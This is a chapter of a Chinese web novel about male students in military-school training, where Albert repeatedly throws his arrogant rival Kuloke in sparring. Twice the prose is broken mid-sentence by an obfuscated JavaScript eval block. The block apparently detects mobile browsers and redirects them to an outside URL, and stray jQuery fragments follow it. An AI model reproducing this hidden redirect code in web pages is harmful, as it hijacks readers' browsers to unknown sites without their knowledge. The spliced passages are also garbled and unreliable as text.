说到报考军校,赛得里克又想到一件事:“备考军校的学生这三年都会强制安排体能和实战训练课程,一般雄虫和雌虫都是分开训练。学校里报考军校的雄虫不多,估计都要在一块训练。”赛得里克叹了一口气。 阿尔贝:“怎么了?这不是很正常的事吗?” 赛得里克瞟了阿尔贝一眼:“你还不知道吧,就咱们在礼堂外遇到的那个讨厌的库洛克也打算报考军校,未来三年咱们可能就要天天面对那张阴阳怪气的脸了。” “嗯?”阿尔贝挑眉,这他还真不知道。除了在礼堂前库洛克用鼻孔朝他喷气外,他对库洛克的了解约等于0。 阿尔贝并不觉得事情会有这么糟糕,他安慰赛得里克:“虽然没什么雄虫报考军校,不过也不至于就咱们和他三个吧?再说,不还有其他年级的学长们吗?” …… 几日后,训练场上,阿尔贝和赛得里克盘腿并肩坐在地上,视线刚好看到对面库洛克的两个大鼻孔。 训练课的莫塞伦老师正给他们讲课前注意事项,眼光时不时从在场仅有的三个虫身上划过,力求给予每位雄虫阁下同等的关注。 莫塞伦:“……以上就是这门课程本学期的要点。三位阁下都是刚刚开始上这门课,还有许多理论和技巧需要学习,因而整个学期都需要和另外两个年级的雄虫阁下们分开上课。” 莫塞伦看着阿尔贝、赛得里克、库洛克这唯三的雄虫学生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723246|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真心露出轻松的微笑:“虽然前几届打算报考军校的雄虫阁下有很多,但幸运的是,本届目前仅有你们三位阁下对军校感兴趣,因而各项训练资源都格外充裕。”天知道他有多么庆幸今年仅有三位雄虫阁下要伺候。 阿尔贝和赛得里克各盯着库洛克的一个鼻孔,木然听着莫塞伦老师恭喜的话语。 莫塞伦要讲的注意事项都讲了,这堂课剩下的就要结合实践解析。阿尔贝三个被从地上喊了起来,站在一旁观看莫塞伦示范训练动作。 莫塞伦:“这套训练方法是专为雄虫阁下们设计的,不过每位阁下的身体情况都不同,我之后会根据各位阁下的具体情况进行调整。但雌虫和雄虫的体质不同,我可能并不能完全了解三位阁下各自的状况,因而也要靠雄虫阁下们自己研究最适合自己的训练方式。根据以往的教学经验,我非常推荐各位阁下多多相互交流训练心得,相信各位都能从同伴身上学到许多,更快提升自己。” “嗤。”库洛克的眼睛瞥过对面的阿尔贝和赛得里克,用鼻孔发出一声冷哼。 库洛克非常怀疑:“老师,你确定我能从他们两个身上学到什么而不是被他们带到沟里去吗?” 库洛克看向赛得里克,撇了撇嘴:“一个学习成绩勉强符合学校的雄虫招生标准线,我都怀疑他到底是不是货真价实的A级雄虫。”他又将嫌弃的目光移向阿尔贝,刚沾上就立刻厌恶地移开了:“另一个么,长得也就骗骗小雌虫,一看精神力却只有D级。让我想想,A之后还要数几个等级才到D来着?” 库洛克嗤笑:“我看参加这门课的只能算有两个A级雄虫,另一个完全可以作为小数点后的计数,直接省略掉。” 赛得里克怒了:“我让你把话说完是我教养好,你喷粪还喷个没完了是吧?” 本来他听到库洛克嘲讽他学习成绩烂他还能忍,毕竟没有哪个雄虫是靠学习成绩的,成绩对于他们只是锦上添花的东西。但又听库洛克紧接着阴阳怪气阿尔贝的精神力等级,他就无法忍下去了。 说着,赛得里克就要冲上去用拳头给库洛克治嘴臭的毛病,但被阿尔贝和莫塞伦连忙拦下了。 莫塞伦简直要崩溃,他都想给几位雄虫阁下跪下了。他原以为只带三位雄虫阁下会轻松不少,没想到开课第一天就差点打起来。 阿尔贝倒没注意到莫塞伦几近崩溃的表情,他只是不想让赛得里克把有理的事变成没理。同为A级雄虫,虽然是库洛克先挑衅,但赛得里克要是先动手打了莫塞伦,也很难不受处罚。 阿尔贝伸手将赛得里克拦在身后,面色平静地提议:“既然库洛克阁下觉得我不值一提,不如和我切磋一下。刚刚莫塞伦老师演示了几个格斗技巧,我们正好可以通过实战试验一二,也算学以致用。” “嗤,就你?”库洛克不屑冷笑。如果是赛得里克这样的体型,他还担心一二,不过就阿尔贝这副并不比他强壮的身体,呵。 阿尔贝微笑:“不过是同学间的切磋练习而已。” 库洛克自然答应了下来,让心里捏了把汗的莫塞伦在一旁当裁判。 “开始!” 阿尔贝和库洛克缠斗在一起,他们两个都没有什么技巧,只刚刚跟着莫塞伦学了一点。 库洛克虽然看着没有赛得里克高大,但是实际力气并不小,一交手阿尔贝就感受到了库洛克胳膊上传来的沉重力道。 阿尔贝下意识格挡,抓住库洛克胳膊的时候,之前和赛得里克对练时那种莫名的感觉又上来了,双臂瞬间有了超乎寻常的力量。 “砰”! 20. S级雄虫阁下(四) 库洛克简直不敢相信,他就这么被一个看着并不强壮的D级雄虫摔飞出去了? 库洛克整个虫都神情恍惚,以一种不太优雅的姿势躺在地上久久没有起来,身心都受到了前所未有的打击。 □□上的疼痛还只是次要的,他更无法接受的是被精神力等级不如他的雄虫打败的事实。而且还是被那么轻描淡写地摔飞出去,他在感受到那股无法抵抗的极大力道后,还没有回过神来就已经躺在了地上。 难道他就这么弱?不仅学习成绩差阿尔贝一筹,连体能和实战都比不过阿尔贝这样一个D级雌虫?库洛克陷入深深的自我怀疑,快要自闭了。 莫塞伦却以为库洛克半天不起来是被摔懵了,连忙上前去扶。 “滚开!”库洛克甩开莫塞伦的手,自己从地上站了起来。 他不服,他绝对不相信阿尔贝这样一个D级雄虫会这么轻易把他打倒!一定是刚刚他太大意了,才让阿尔贝耍了什么花招把他摔飞出去。 库洛克盯着仍旧好好站立在那的阿尔贝:“再来!” “可以。”阿尔贝弯了弯嘴角,他对库洛克的能力已经有了相对准确的预估,并不怕库洛克突然翻盘。 虽然他只是想给库洛克一个小小的教训就收手,但库洛克上杆子找打他自然也不会拒绝。毕竟之后一学期都只有他们三个一起上训练课,要是库洛克一直捣乱添堵也难免让他心烦影响训练。只有把库洛克打到服气,库洛克才能收敛起阴阳怪气的脾气,好好配合整个课程的进行,而不是不停在课上挑刺。 “开始!”莫塞伦右手从空中划下。他虽然担心库洛克的伤,但并不敢阻拦雄虫阁下们的决定,更何况这还是无比正当的课中比试,阿尔贝也并没有下死手而是点到即止。他只能用提心吊胆的眼神盯着对立而站的两位阁下,默默祈祷都不要出什么大问题。 库洛克凭着一腔热血和对自己实力的坚定信念再次冲了上去。 “砰”! 库洛克再次被摔飞出去,连地上的细小尘埃都被他震了起来浮在空气中。 “库洛克阁下,您还好吗?今天的比试先到这,我扶您去医务室吧?”莫塞伦在库洛克被摔飞后就立刻跑过去搀扶。 他也没想到库洛克在和阿尔贝有过一次比试经历后,还会输得这么快,甚至和上一次并没有任何区别。摔到地上的那一下,他听声都觉得疼,这样他更加担心库洛克的屁股。 库洛克都没心思注意莫塞伦说了什么,满脑子都是他居然又输了! 他一脸不敢置信的神情,推开莫塞伦的手,从地上爬了起来。 刚刚他同样没有反应过来发生了什么,就再次被强大的力道提起又摔了出去。连续遭受两次重击的屁股,阵阵发痛,提醒着他又一次输给了阿尔贝的事实。 库洛克眼中闪过震惊、怀疑、屈辱,他从小到大就没有这么惨过!旁边赛得里克投来的目光更是让他比遭受了严苛刑罚还要难受,他不用去看都能感觉出其中都他的嘲弄。 连着两次都输给阿尔贝,怎么也不能再用“大意”来总结失败的原因。库洛克的心中和眼里都冒起火光,终于开始正视阿尔贝这个他一直看不上的D级雄虫。 “再来!”库洛克狠狠瞪着阿尔贝。 他就不信了,他一个A级雄虫,会治不了阿尔贝这个没有体型优势的D级雄虫?! “等等!”莫塞伦高喊。他算是看出来了,阿尔贝阁下虽然看着不如赛得里克阁下强壮,却天生神力,根本不是没有接受过多少训练的库洛克阁下能对付得过来的。 他是真怕库洛克被摔出个好歹来导致他被问责,为了自己他也不得不顶着雄虫阁下充满怒火的目光开口劝道:“现在算是训练正式开始前的热身,进行两次已经足够了。课上的体能训练和技巧训练还没开始,以后还有很多机会比试,不如今天先到这吧?给课堂练习也留点时间。” 莫塞伦殷切祈求的目光分别投向库洛克和阿尔贝,当然主要是库洛克。 阿尔贝自然无所谓,如果库洛克想停下,他也不可能追着库洛克打,因而他也把目光投向库洛克。 而赛得里克这个时候自然不能错过库洛克的一举一动,同样咧着嘴角盯着库洛克直看。 于是,在场四个虫中有三个都把目光投向了库洛克。 库洛克的脑子已经被输给阿尔贝两次的恼怒占据得满满当当,根本无法冷静分辨其他虫投来目光究竟是什么意思,统统被他打成幸灾乐祸看热闹。热气从胸口一路向上,冲得他的头都快要气到爆炸。 “不行!”库洛克的眼睛死死盯着阿尔贝,语气坚决不留余地。 莫塞伦:“这……” “你闭嘴!滚!”库洛克转头怒气冲冲瞪了莫塞伦一眼。 “是是是。”莫塞伦怂了,干脆摆烂了。他是没办法劝了,再劝库洛克怕不是先要把他撕了。他可不是雄虫阁下,连躲都不能躲。 “嗯,那继续吧。”阿尔贝深深怀疑,库洛克是换了机械屁股,都不疼的吗?不过他又不由对库洛克有所改观,起码库洛克不是全无优点,这份不服输的精神还是值得肯定的。 既然库洛克如此坚持,那么他也会尊重对手,全力以赴! “咚咚咚咚咚”莫名其妙的战鼓奏乐响起。 阿尔贝无语地顺着声音源头看向赛得里克,正对上赛得里克露着八颗牙的笑容。 莫塞伦惊恐瞪大双眼,这时候放战鼓声不是看热闹不嫌事大么?! “呵。”库洛克瞥了赛得里克一眼,在激进的战鼓声中反而沉下心来。 他没有着急冲上去缠斗,而是先观察起阿尔贝的破绽。脚步虚浮,胳膊上也没什么肌肉,看上去平平无奇。 真是见鬼了! 库洛克身后摔到的地方阵阵发痛,头脑却越发清醒。 “咚咚咚咚咚!” “咚!” 库洛克以迅雷不及掩耳盗铃之势,快速出拳,砸向阿尔贝。 这回,他要这个可恶的D级雄虫好看! 几秒后—— “砰”! 库洛克眼前的视线剧烈晃动,等平复下来时,又看到了训练场的天花板。 咔,赛得里克顺手关掉了音乐,现场瞬间安静一片。 库洛克的后背和屁股已经痛到发麻,但都抵不上他心中的挫败感带来的精神痛苦。 “你!”库洛克被莫塞伦从地上扶起来,眼睛一刻不离地瞪向阿尔贝,无法接受自己接连三次输给了一个D级雄虫的事实,内心委屈到鼻子发酸。 他被摔在地上的不止是他的屁股,还有他的面子也被一同摔了个粉碎!可恶! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723247|173929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 库洛克紧紧咬着后压根,只觉得脸上发烫,一刻也在这待不下去了! “哼!”库洛克甩开莫塞伦的手,转身一瘸一拐地离开了训练场。 “库洛克阁下!”莫塞伦在后边让他慢点。 “抱歉两位阁下,我必须得先陪库洛克阁下去医疗室,你们先自己练习我之前教的内容。”莫塞伦对阿尔贝和赛得里克说。 阿尔贝和赛得里克对视一眼,看着莫塞伦这副头疼的样子,都理解地点了点头。 “呼。谢谢两位阁下。”莫塞伦见阿尔贝和赛得里克没有因为他要在课上缺席离开而不满,才松了一口气,愁眉苦脸地朝着库洛克追了上去。 等看着莫塞伦小跑追上库洛克一起离开训练场后,阿尔贝和赛得里克才同时笑了出来。 阿尔贝对库洛克这种不服输的精神表示认可,但他也不会因此就对之前向他和赛得里克恶言相向的库洛克产生什么愧疚。他只打算小小给库洛克一个教训,让库洛克在之后的课堂上都消停点,是库洛克追着他非要一遍遍体验被他摔在地上的感觉。 赛得里克挺开心:“以后上训练课能耳边清净些了。库洛克最是自傲,这回他连着输给你三次,应该是没脸再在咱们面前一天到晚阴阳怪气了。不枉我前几天陪你练习的时候被摔得屁股疼,现在我的屁股也算是你胜利的功臣了!” 阿尔贝并不想要这个大腚功臣:“我有可能把你摔飞出去,库诺克就也有可能。你不要光笑库诺克,还是快开始今天的练习吧。要是等库诺克练得比你厉害,一定会用他的大鼻孔狠狠冲着你嗤嗤嗤喷气的。” “来了!”赛得里克乐呵呵,并不为阿尔贝所描述的画面担心。 等库诺克第二天再次出现在训练场上的时候,虽然冲着阿尔贝还是鼻子不是鼻子眼睛不是眼睛,全程冷脸,但终究没有再对阿尔贝和赛得里克说什么冷嘲热讽的话。 库洛克本来不想再和这两个虫一起训练,但是又觉得他要是这时候走了,虽然不用在看到那两张讨厌的脸,可指不定会被他们在背后嘲笑是逃跑了。 他长长深呼吸了几口气,才压下胸中的怒气,顶着心中的羞耻感出现按时出现在了训练场上,全靠冷着脸强撑,心里暗暗发誓,有朝一日要把阿尔贝也按在地上打,一雪前耻! 阿尔贝看出了库洛克的不服气,但他对目前训练课的现状很满意。没有了库洛克的干扰,他可以全身心投入到训练中,为报考中央军校做准备。 赛得里克同样很满意,他每次看到库洛克憋屈的脸就觉得心情舒畅。 只是快乐的日子还没过多久,他就发现自己的好兄弟阿尔贝怎么有点不太对劲? 赛得里克盯着阿尔贝眼下的黑眼圈看了大半节训练课,等下课从训练场出来时还是没忍住问:“阿尔贝,你这几天是不是背着我偷偷加练了?怎么眼下青黑得那么厉害?” 阿尔贝边和赛得里克往外走,边揉太阳穴:“我也不知道怎么了,这几天头里时不时一抽一抽得疼。” 赛得里克:“你是不是要涨精神力了?我记得咱们以前精神力猛涨的时候就整天头疼个没完。看不出来啊,没想到你现在还没结束发育,还是个小虫崽啊!”赛得里克伸手去摸阿尔贝的头,笑得一脸荡漾。 阿尔贝愣了一下:“涨精神力?”